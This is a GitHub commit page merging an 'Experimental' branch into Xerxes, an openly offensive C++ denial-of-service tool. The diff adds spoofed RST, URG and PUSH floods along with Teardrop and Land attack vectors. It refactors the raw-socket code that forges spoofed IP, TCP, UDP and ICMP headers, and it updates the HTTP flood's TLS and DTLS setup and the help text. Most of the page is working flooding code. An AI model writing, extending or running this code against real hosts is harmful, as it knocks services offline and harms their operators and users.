Skip to content

Commit

Permalink
Merge pull request #19 from sepehrdaddev/experimental
Browse files Browse the repository at this point in the history
Experimental
  • Loading branch information
sepehrdaddev authored May 6, 2018
2 parents 9cec77f + d5eb015 commit d3a9c20
Show file tree
Hide file tree
Showing 19 changed files with 176 additions and 109 deletions.
6 changes: 3 additions & 3 deletions CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -11,9 +11,9 @@ if( OPENSSL_FOUND )
set(OPENSSL_USE_STATIC_LIBS TRUE)
message(STATUS "Using OpenSSL ${OPENSSL_VERSION}")
endif()
SET(CMAKE_FIND_LIBRARY_SUFFIXES ".a")
SET(BUILD_SHARED_LIBRARIES OFF)
SET(CMAKE_EXE_LINKER_FLAGS "-static")
set(CMAKE_FIND_LIBRARY_SUFFIXES ".a")
set(BUILD_SHARED_LIBRARIES OFF)
set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive")
add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Doser.cpp Headers/Doser.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp)
target_link_libraries(Xerxes ${OPENSSL_LIBRARIES})
target_link_libraries(Xerxes ${CMAKE_DL_LIBS})
Expand Down
Empty file modified Dockerfile
100644 → 100755
Empty file.
3 changes: 2 additions & 1 deletion Headers/Configuration.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,8 @@

struct config{
enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP,
SpoofedSyn, SpoofedAck, SpoofedFin, Rudy, Blacknurse, Beast};
SpoofedSyn, SpoofedAck, SpoofedRST, SpoofedPUSH, SpoofedURG, SpoofedFin, Rudy, Blacknurse,
Beast, TearDrop, Land};
enum Protocol{TCP, UDP};
Protocol protocol{TCP};
Vector vector{NullTCP};
Expand Down
1 change: 1 addition & 0 deletions Headers/Http_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@ class Http_Flood : public Attack_Vector {
void read_socket(SSL *ssl);
int write_socket(int socket, const char* string, int length);
int write_socket(SSL *ssl, const char* string, int length);
const SSL_METHOD *GetMethod();
};


Expand Down
3 changes: 2 additions & 1 deletion Headers/ICMP_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,8 @@ class ICMP_Flood : public Spoofed_Flood {

private:
void attack(const int *id) override;
void override_options(icmphdr *icmp);
void init_headers(iphdr *ip, icmphdr *icmp, char *buf);
void override_headers(icmphdr *tcp, iphdr *ip);

};

Expand Down
4 changes: 0 additions & 4 deletions Headers/Spoofed_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,6 @@ class Spoofed_Flood : public Attack_Vector {
friend class ICMP_Flood;
friend class Spoofed_TCP_Flood;
friend class Spoofed_UDP_Flood;
friend class Black_Nurse;

public:
Spoofed_Flood() = default;
Expand All @@ -31,9 +30,6 @@ class Spoofed_Flood : public Attack_Vector {
u_int16_t length;
};
virtual int make_socket(int protocol);
virtual void init_headers(iphdr *ip, tcphdr *tcp, char *buf);
virtual void init_headers(iphdr *ip, udphdr *udp, char *buf);
virtual void init_headers(iphdr *ip, icmphdr *icmp, char *buf);
};


Expand Down
3 changes: 2 additions & 1 deletion Headers/Spoofed_TCP_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,8 @@ class Spoofed_TCP_Flood : public Spoofed_Flood {

private:
void attack(const int *id) override;
void override_options(tcphdr *tcp);
void init_headers(iphdr *ip, tcphdr *tcp, char *buf);
void override_headers(tcphdr *tcp, iphdr *ip);
};


Expand Down
2 changes: 2 additions & 0 deletions Headers/Spoofed_UDP_Flood.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,8 @@ class Spoofed_UDP_Flood : public Spoofed_Flood {

private:
void attack(const int *id) override;
void init_headers(iphdr *ip, udphdr *udp, char *buf);
void override_headers(udphdr *udp, iphdr *ip);
};


Expand Down
2 changes: 1 addition & 1 deletion Headers/Version.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@


#define VERSION_MAJOR 1
#define VERSION_MINOR 1
#define VERSION_MINOR 2


#define BUILD_YEAR_CH0 (__DATE__[ 7])
Expand Down
7 changes: 7 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
<img align="left" width="100" height="100" src="/XerxesTheGreat.jpg">

# Xerxes

[![Build Status](https://travis-ci.org/sepehrdaddev/Xerxes.svg?branch=master)](https://travis-ci.org/sepehrdaddev/Xerxes)
Expand Down Expand Up @@ -32,7 +34,12 @@ Options:\
&emsp;&emsp;&emsp;&emsp;&emsp;-su&emsp;&emsp;&emsp;&emsp;&emsp;set attack vector to Spoofed UDP Flood\
&emsp;&emsp;&emsp;&emsp;&emsp;-sy&emsp;&emsp;&emsp;&emsp;&emsp;set attack vector to Spoofed Syn Flood\
&emsp;&emsp;&emsp;&emsp;&emsp;-sa&emsp;&emsp;&emsp;&emsp;&emsp;set attack vector to Spoofed Ack Flood\
&emsp;&emsp;&emsp;&emsp;&emsp;-sr&emsp;&emsp;&emsp;&emsp;&emsp;set attack vector to Spoofed Rst Flood\
&emsp;&emsp;&emsp;&emsp;&emsp;-sg&emsp;&emsp;&emsp;&emsp;&emsp;set attack vector to Spoofed Urg Flood\
&emsp;&emsp;&emsp;&emsp;&emsp;-sp&emsp;&emsp;&emsp;&emsp;&emsp;set attack vector to Spoofed Push Flood\
&emsp;&emsp;&emsp;&emsp;&emsp;-sf&emsp;&emsp;&emsp;&emsp;&emsp;set attack vector to Spoofed Fin Flood\
&emsp;&emsp;&emsp;&emsp;&emsp;-td&emsp;&emsp;&emsp;&emsp;&emsp;set attack vector to Teardrop\
&emsp;&emsp;&emsp;&emsp;&emsp;-ld&emsp;&emsp;&emsp;&emsp;&emsp;set attack vector to Land\
&emsp;&emsp;&emsp;&emsp;&emsp;-ss&emsp;&emsp;&emsp;&emsp;&emsp;enable SSL\
&emsp;&emsp;&emsp;&emsp;&emsp;-w&nbsp;&emsp;&emsp;&emsp;&emsp;&emsp;wait for response\
&emsp;&emsp;&emsp;&emsp;&emsp;-rh&emsp;&emsp;&emsp;&emsp;&emsp;randomize HTTP Header\
Expand Down
20 changes: 20 additions & 0 deletions Sources/Doser.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,18 @@ void Doser::run() {
logger->Log("Attack Vector: Spoofed Ack Flood", Logger::Info);
flood = new Spoofed_TCP_Flood{conf, logger};
break;
case config::SpoofedRST:
logger->Log("Attack Vector: Spoofed Rst Flood", Logger::Info);
flood = new Spoofed_TCP_Flood{conf, logger};
break;
case config::SpoofedURG:
logger->Log("Attack Vector: Spoofed Urg Flood", Logger::Info);
flood = new Spoofed_TCP_Flood{conf, logger};
break;
case config::SpoofedPUSH:
logger->Log("Attack Vector: Spoofed Push Flood", Logger::Info);
flood = new Spoofed_TCP_Flood{conf, logger};
break;
case config::SpoofedFin:
logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info);
flood = new Spoofed_TCP_Flood{conf, logger};
Expand All @@ -70,6 +82,14 @@ void Doser::run() {
logger->Log("Attack Vector: Beast", Logger::Info);
flood = new Beast{conf, logger};
break;
case config::TearDrop:
logger->Log("Attack Vector: Teardrop", Logger::Info);
flood = new Spoofed_UDP_Flood{conf, logger};
break;
case config::Land:
logger->Log("Attack Vector: Land", Logger::Info);
flood = new Spoofed_TCP_Flood{conf, logger};
break;
default:break;
}
if(conf->UseSSL){
Expand Down
16 changes: 13 additions & 3 deletions Sources/Http_Flood.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -62,10 +62,9 @@ int Http_Flood::make_socket(const char *host, const char *port, int sock_type) {
}

SSL_CTX *Http_Flood::InitCTX() {
const SSL_METHOD *method{TLSv1_1_client_method()};
SSL_library_init();
const SSL_METHOD *method{GetMethod()};
SSL_CTX *ctx;
OpenSSL_add_ssl_algorithms();
SSL_load_error_strings();
ctx = SSL_CTX_new(method);
if (ctx == nullptr){
logger->Log("Unable to connect using ssl", Logger::Error);
Expand Down Expand Up @@ -190,3 +189,14 @@ void Http_Flood::attack_ssl(const int *id) {
}
}

const SSL_METHOD *Http_Flood::GetMethod() {
switch (conf->protocol){
case config::TCP:
return TLSv1_2_client_method();
case config::UDP:
return DTLSv1_2_client_method();
default:
return nullptr;
}
}

32 changes: 27 additions & 5 deletions Sources/ICMP_Flood.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ void ICMP_Flood::attack(const int *id) {
}

init_headers(ip, icmp, buf);
override_options(icmp);
override_headers(icmp, ip);

dst.sin_addr.s_addr = ip->daddr;
dst.sin_family = AF_UNSPEC;
Expand Down Expand Up @@ -68,16 +68,38 @@ ICMP_Flood::ICMP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf,

}

void ICMP_Flood::override_options(icmphdr *icmp) {
void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){
switch (conf->vector){
case config::ICMPFlood:
icmp->type = ICMP_ECHO;
icmp->code = static_cast<u_int8_t>(Randomizer::randomInt(1, 1000));
icmp->type = static_cast<u_int8_t>(Randomizer::randomInt(1, 30));
icmp->code = static_cast<u_int8_t>(Randomizer::randomInt(1, 15));
break;
case config::Blacknurse:
icmp->type = ICMP_DEST_UNREACH;
icmp->code = static_cast<u_int8_t>(3);
icmp->code = ICMP_PORT_UNREACH;
break;
default:break;
}
}


void ICMP_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) {
// IP Struct
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->tot_len = htons(sizeof(buf));
ip->id = static_cast<u_short>(Randomizer::randomInt(1, 1000));
ip->frag_off = htons(0x0);
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->check = 0;

ip->check = csum((unsigned short *) buf, ip->tot_len);

icmp->type = 0;
icmp->code = 0;
icmp->un.echo.sequence = static_cast<u_int16_t>(Randomizer::randomInt(1, 1000));
icmp->un.echo.id = static_cast<u_int16_t>(Randomizer::randomInt(1, 1000));
icmp->checksum = 0;
}
6 changes: 3 additions & 3 deletions Sources/Null_Flood.cpp
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#include <netdb.h>

#include <openssl/ssl.h>

#include "../Headers/Null_Flood.hpp"
Expand All @@ -9,7 +9,7 @@ void Null_Flood::attack(const int *id) {
for (int x = 0; x < conf->CONNECTIONS; x++) {
sockets.push_back(0);
}
int socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM;
int socktype = conf->protocol;
while(true) {
static std::string message;
for (int x = 0; x < conf->CONNECTIONS; x++) {
Expand Down Expand Up @@ -41,7 +41,7 @@ void Null_Flood::attack_ssl(const int *id) {
std::vector<int> sockets;
std::vector<SSL_CTX *> CTXs;
std::vector<SSL *> SSLs;
int socktype = conf->protocol == config::UDP ? SOCK_DGRAM: SOCK_STREAM;
int socktype = conf->protocol;
for (int x = 0; x < conf->CONNECTIONS; x++) {
sockets.push_back(0);
SSLs.push_back(nullptr);
Expand Down
15 changes: 15 additions & 0 deletions Sources/Parser.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,12 @@ void Parser::help() {
" -su set attack vector to Spoofed UDP Flood\n"
" -sy set attack vector to Spoofed Syn Flood\n"
" -sa set attack vector to Spoofed Ack Flood\n"
" -sr set attack vector to Spoofed Rst Flood\n"
" -sg set attack vector to Spoofed Urg Flood\n"
" -sp set attack vector to Spoofed Push Flood\n"
" -sf set attack vector to Spoofed Fin Flood\n"
" -td set attack vector to Teardrop\n"
" -ld set attack vector to Land\n"
" -ss enable SSL\n"
" -w wait for response\n"
" -rh randomize HTTP Header\n"
Expand Down Expand Up @@ -86,6 +91,12 @@ void Parser::parse_commandline(int argc, const char *argv[]) {
conf->vector = config::SpoofedSyn;
}else if(!strcmp(argv[i], "-sa")){
conf->vector = config::SpoofedAck;
}else if(!strcmp(argv[i], "-sr")){
conf->vector = config::SpoofedRST;
}else if(!strcmp(argv[i], "-sg")){
conf->vector = config::SpoofedURG;
}else if(!strcmp(argv[i], "-sp")){
conf->vector = config::SpoofedPUSH;
}else if(!strcmp(argv[i], "-sf")){
conf->vector = config::SpoofedFin;
}else if(!strcmp(argv[i], "-q")){
Expand All @@ -106,6 +117,10 @@ void Parser::parse_commandline(int argc, const char *argv[]) {
conf->website = static_cast<std::string>(argv[i+1]);
}else if(!strcmp(argv[i], "-port")){
conf->port = static_cast<std::string>(argv[i+1]);
}else if(!strcmp(argv[i], "-td")){
conf->vector = config::TearDrop;
}else if(!strcmp(argv[i], "-ld")){
conf->vector = config::Land;
}else if(!strcmp(argv[i], "-T")){
if(Validator::isValidNumber(argv[i+1])){
conf->THREADS = static_cast<int>(strtol(argv[i+1], nullptr, 10));
Expand Down
76 changes: 0 additions & 76 deletions Sources/Spoofed_Flood.cpp
Original file line number Diff line number Diff line change
@@ -1,8 +1,6 @@
#include <netinet/in.h>
#include <cstring>

#include "../Headers/Spoofed_Flood.hpp"
#include "../Headers/Randomizer.hpp"

Spoofed_Flood::Spoofed_Flood(const config *conf, Logger *logger) : Attack_Vector(conf, logger){

Expand Down Expand Up @@ -31,77 +29,3 @@ int Spoofed_Flood::make_socket(int protocol) {
}
return sock;
}

void Spoofed_Flood::init_headers(iphdr *ip, udphdr *udp, char *buf) {
auto s_port = Randomizer::randomPort();
// IP Struct
ip->ihl = 5;
ip->version = 4;
ip->tos = 16;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + strlen(buf);
ip->id = static_cast<u_short>(Randomizer::randomInt(1, 1000));
ip->frag_off = htons(0x0);
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->check = 0;
ip->check = csum((unsigned short *) buf, ip->tot_len);

// UDP Struct
udp->source = htons(static_cast<uint16_t>(s_port));
udp->dest = htons(static_cast<uint16_t>(strtol(conf->port.c_str(), nullptr, 10)));
udp->len = htons(static_cast<uint16_t>(sizeof(struct udphdr)));
udp->check = 0;
}

void Spoofed_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) {
auto s_port = Randomizer::randomPort();
// IP Struct
ip->ihl = 5;
ip->version = 4;
ip->tos = 16;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(buf);
ip->id = static_cast<u_short>(Randomizer::randomInt(1, 1000));
ip->frag_off = htons(0x0);
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->check = 0;

ip->check = csum((unsigned short *) buf, ip->tot_len);

// TCP Struct
tcp->source = htons(static_cast<uint16_t>(s_port));
tcp->dest = htons(static_cast<uint16_t>(strtol(conf->port.c_str(), nullptr, 10)));
tcp->seq = 0;
tcp->ack_seq = 0;
tcp->doff = 5; //tcp header size
tcp->fin=0;
tcp->syn=0;
tcp->rst=0;
tcp->psh=0;
tcp->ack=0;
tcp->urg=0;
tcp->window = htons (5840);
tcp->check = 0;
tcp->urg_ptr = 0;
}

void Spoofed_Flood::init_headers(iphdr *ip, icmphdr *icmp, char *buf) {
// IP Struct
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->tot_len = htons(sizeof(buf));
ip->id = static_cast<u_short>(Randomizer::randomInt(1, 1000));
ip->frag_off = htons(0x0);
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->check = 0;

ip->check = csum((unsigned short *) buf, ip->tot_len);

icmp->type = 0;
icmp->code = 0;
icmp->un.echo.sequence = static_cast<u_int16_t>(Randomizer::randomInt(1, 1000));
icmp->un.echo.id = static_cast<u_int16_t>(Randomizer::randomInt(1, 1000));
icmp->checksum = 0;
}
Loading

0 comments on commit d3a9c20

Please sign in to comment.